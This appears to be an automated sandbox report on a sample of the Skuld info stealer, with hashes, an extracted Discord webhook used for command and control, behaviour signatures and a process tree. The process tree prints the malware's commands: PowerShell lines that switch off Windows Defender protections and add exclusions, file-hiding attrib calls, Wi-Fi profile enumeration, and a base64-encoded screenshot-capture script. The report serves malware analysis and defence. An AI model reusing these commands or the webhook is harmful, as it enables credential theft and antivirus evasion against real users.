Analysis

  • max time kernel
    150s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-09-2024 16:34

General

  • Target

    dimmer.exe

  • Size

    9.9MB

  • MD5

    caf1fa6480af98c28355550668388ab3

  • SHA1

    793510e3cfc758b970a405dfb568697b388b22f4

  • SHA256

    125643154c12934da22ed365bacba707a3cc353cde588401f84d61e181e83cad

  • SHA512

    a5c1d2cf802528251779de302c4d3d84578126e11f3ce2b960d17248915d6ae353ff9b6b9cfce038bde15b940e5b29115210c26a22455e108f0b70b83036fd2f

  • SSDEEP

    98304:OiyzkxkJslYf0Wk8+Z6Uhv0wD4xD1ZvE7IgwmZmHJ1RY7:OqkJsmD/Uhv0E4N1ZsrqG7

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1284535584374788180/DTgo2B6AyyBKkX7ZD2ZgnrcH0GT_qiLrmFMYI7yzH3RIwEtqht0lE9OyyQtWrmyXQ8Hl

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\dimmer.exe
    "C:\Users\Admin\AppData\Local\Temp\dimmer.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4884
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\dimmer.exe
      2⤵
      • Views/modifies file attributes
      PID:2264
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4928
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\dimmer.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1760
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:4616
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4888
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:2260
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      PID:2692
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
        PID:3740
      • C:\Windows\system32\attrib.exe
        attrib -r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:3600
      • C:\Windows\system32\attrib.exe
        attrib +r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:5004
      • C:\Windows\system32\netsh.exe
        netsh wlan show profiles
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Network Configuration Discovery: Wi-Fi Discovery
        PID:3324
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4216
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rv3hjdxa\rv3hjdxa.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:624
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC38E.tmp" "c:\Users\Admin\AppData\Local\Temp\rv3hjdxa\CSC7DC9B61D87F45C6BAB0B0EF5E206B4C.TMP"
            4⤵
              PID:2136

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        77d622bb1a5b250869a3238b9bc1402b

        SHA1

        d47f4003c2554b9dfc4c16f22460b331886b191b

        SHA256

        f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

        SHA512

        d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        aeceee3981c528bdc5e1c635b65d223d

        SHA1

        de9939ed37edca6772f5cdd29f6a973b36b7d31b

        SHA256

        b99f3c778a047e0348c92c16e0419fa29418d10d0fec61ad8283e92a094a2b32

        SHA512

        df48285f38e9284efdbd9f8d99e2e94a46fb5465953421ab88497b73ae06895b98ea5c98796560810a6f342c31a9112ea87e03cd3e267fd8518d7585f492a8fb

      • C:\Users\Admin\AppData\Local\Temp\KQEPBvgkZG\Display (1).png

        Filesize

        436KB

        MD5

        34770e89102a98c9c2e542d4e872fe10

        SHA1

        3af3b1ebf6ccfb10f23bc86a1fbd087e5ee10f8b

        SHA256

        a0afbce925b5798115e2ce23c99bdec4f574bab07c92e7dad978ccf6ec24ba2c

        SHA512

        b64a8b9c01be102bc92728422cec13033a0550ae5371ec1ee4f46c5cf73046de255c9ace6c56e44899512ef8b341c52d9c2a84f0a8221d9e400efd56b77778ff

      • C:\Users\Admin\AppData\Local\Temp\RESC38E.tmp

        Filesize

        1KB

        MD5

        1bf159a97ce958db900343d2be7928ce

        SHA1

        271104f1b9ffbe7abe60065efe239dfbf140fbb3

        SHA256

        a6f9df93a6d23f45950632ee899790ff2da8a13841fd4ee2e66913a3ee16280a

        SHA512

        d32a47c6143f04655bc0ffb5671f27989b997751f0a31842cbcc04d0fcb896c1205f431feaccbc77e235376bd4ceed11fe2aeeb3e4b5f5d6b32a5c5fbe64d4e7

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fpdpnvcl.xke.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\rv3hjdxa\rv3hjdxa.dll

        Filesize

        4KB

        MD5

        bb3cf7976da390d78363d2f41b74c21c

        SHA1

        2704ecd581097b087a97b8ba36b0e76045c73286

        SHA256

        7d3a8d5ff6c59b18f0135b753054c2c81a8f582806e9126d6c8926a6040e72b0

        SHA512

        99160c29ca0444458ff6f083f1780d96b5a723209a24de49cd0311ea96e1e3a548e606280eb546611f1712def02a2cdc2477a20fd2e5e91b3c9b8b711a6ea4ff

      • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

        Filesize

        9.9MB

        MD5

        caf1fa6480af98c28355550668388ab3

        SHA1

        793510e3cfc758b970a405dfb568697b388b22f4

        SHA256

        125643154c12934da22ed365bacba707a3cc353cde588401f84d61e181e83cad

        SHA512

        a5c1d2cf802528251779de302c4d3d84578126e11f3ce2b960d17248915d6ae353ff9b6b9cfce038bde15b940e5b29115210c26a22455e108f0b70b83036fd2f

      • C:\Windows\System32\drivers\etc\hosts

        Filesize

        2KB

        MD5

        6e2386469072b80f18d5722d07afdc0b

        SHA1

        032d13e364833d7276fcab8a5b2759e79182880f

        SHA256

        ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

        SHA512

        e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

      • \??\c:\Users\Admin\AppData\Local\Temp\rv3hjdxa\CSC7DC9B61D87F45C6BAB0B0EF5E206B4C.TMP

        Filesize

        652B

        MD5

        52b3cfa5441540befe7d6fdeac8f66d6

        SHA1

        359b86f2c985b111837adaa305aab51b7598bb16

        SHA256

        3450aced6bcc283e1a85c26d706bf0d43530d7fe68c99dd6a93972309324122a

        SHA512

        6c33a80d943b525a066f90900cdd3afa05514bbd42998e9cab64341029b74f89c7e9b46545e42de09de4d5b9cc7fcf808660f5ea35dd9a2d860f2df67e775b63

      • \??\c:\Users\Admin\AppData\Local\Temp\rv3hjdxa\rv3hjdxa.0.cs

        Filesize

        1004B

        MD5

        c76055a0388b713a1eabe16130684dc3

        SHA1

        ee11e84cf41d8a43340f7102e17660072906c402

        SHA256

        8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

        SHA512

        22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

      • \??\c:\Users\Admin\AppData\Local\Temp\rv3hjdxa\rv3hjdxa.cmdline

        Filesize

        607B

        MD5

        837ae5a7f7b454062b9cb6f8933086a9

        SHA1

        d5634982b383faad879fd9184b388f3422a79da1

        SHA256

        eb72a33a9a72dc8131d38c50e797083b01e8fb9116a52e0d6c9ff4593c3fa595

        SHA512

        ed538017cd0431c0c315e0bd68f7391a26aad0da91815ba19ef82aef41e2016fd61a00e7af0dbf22ba7d8972bbcb999d5098cb7d6a51e537899651c8f9191973

      • memory/1760-0-0x00007FFF2E8F3000-0x00007FFF2E8F5000-memory.dmp

        Filesize

        8KB

      • memory/1760-20-0x00007FFF2E8F0000-0x00007FFF2F3B1000-memory.dmp

        Filesize

        10.8MB

      • memory/1760-15-0x00007FFF2E8F0000-0x00007FFF2F3B1000-memory.dmp

        Filesize

        10.8MB

      • memory/1760-12-0x000001FB8D470000-0x000001FB8D492000-memory.dmp

        Filesize

        136KB

      • memory/1760-4-0x00007FFF2E8F0000-0x00007FFF2F3B1000-memory.dmp

        Filesize

        10.8MB

      • memory/4216-62-0x00000217A0B40000-0x00000217A0B48000-memory.dmp

        Filesize

        32KB